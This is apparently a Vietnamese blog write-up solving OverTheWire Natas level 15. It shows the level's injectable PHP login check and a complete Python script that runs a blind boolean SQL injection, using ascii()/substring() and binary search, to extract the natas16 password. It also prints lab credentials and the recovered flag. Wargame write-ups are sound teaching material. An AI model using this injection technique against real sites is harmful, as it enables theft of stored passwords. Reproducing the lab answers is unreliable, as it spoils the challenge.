[OverTheWire] Natas – Level 15

http://natas15.natas.labs.overthewire.org/

Nhấn View sourcecode:

[php]users (
username varchar(64) DEFAULT NULL,
password varchar(64) DEFAULT NULL
);
*/

if(array_key_exists(“username”, $_REQUEST)) {
$link = mysql_connect(‘localhost’, ‘natas15’, ‘‘);
mysql_select_db(‘natas15’, $link);

$query = “SELECT * from users where username=””.$_REQUEST[“username”].”””;
if(array_key_exists(“debug”, $_GET)) {
echo “Executing query: $query
“;
}

$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
echo “This user exists.
“;
} else {
echo “This user doesn’t exist.
“;
}
} else {
echo “Error in query.
“;
}

mysql_close($link);
} else {
?>[/php]

Có một điều khác biệt so với task trước, đó là không hề có câu lệnh in ra password cho level tiếp theo. Vậy phải làm sao?

Có một ý tưởng (dự đoán), đó là liệu trong database có username và password cho level 16?

Thử nhập username = natas16:

This user exists.

Ok, vậy gần như chắc chắn password của user này sẽ là thứ ta cần tìm.

Có nhiều cách để dò pw, mà thường cách phổ thông nhất là so sánh từng ký tự của pw (MYSQL cung cấp cho ta hàm ascii()substring() để làm việc này) với các ký tự hợp lệ (trong trường hợp này là a..z, A..Z, 0..9), tức mất tối đa 26 + 26 + 10 = 62 lần thử để tìm ra một ký tự. Độ dài pw là 32, nên số phép thử là khá lớn.

Nếu đi theo tư tưởng của Binary Search, ta chỉ mất khoảng 7 (hay 8 gì đó =.=) lần thử cho 1 ký tự.

Code minh họa như sau (bạn có thể không cần hiểu, vì mình đọc lại cũng không hiểu lắm emo_popo_pudency, nhưng tư tưởng của Binary Search thì thống nhất trên Google rồi, ai cũng có thể tự cài đặt theo ý thích):

[python]import urllib, urllib2
passman = urllib2.HTTPPasswordMgrWithDefaultRealm()
passman.add_password(None, “http://natas15.natas.labs.overthewire.org/index.php”, ‘natas15’, ‘AwWj0w5cvxrZiONgZ9J5stNVkmxdk39J’)
urllib2.install_opener(urllib2.build_opener(urllib2.HTTPBasicAuthHandler(passman)))

flag = ”
i = 0
while (True):
found = False
i += 1

min_ord = 0x30 # ‘0’
max_ord = 0x7A # ‘z’
while (True):
if (min_ord == max_ord):
last_compare = True
current_ord = min_ord
else:
last_compare = False
current_ord = (min_ord + max_ord) / 2

if not last_compare:
data = [(‘username’, ‘natas16″ AND ascii(substring(password,{0},1)) > {1}#’.format(i, current_ord))]
else:
data = [(‘username’, ‘natas16″ AND ascii(substring(password,{0},1)) = {1}#’.format(i, current_ord))]
data = urllib.urlencode(data)

req = urllib2.Request(‘http://natas15.natas.labs.overthewire.org/index.php’, data)
source = urllib2.urlopen(req).read()

if (‘exists’ in source):
if last_compare:
found = True
flag += chr(current_ord)
print flag
min_ord = current_ord + 1
else:
max_ord = current_ord

if last_compare:
break

if (not found):
break[/python]

Kết quả:

WaIHEacj63wnNIBROHeqi3p9t0m5nhmh

→ flag = WaIHEacj63wnNIBROHeqi3p9t0m5nhmh.

You may also like...

Leave a Reply

Your email address will not be published. Required fields are marked *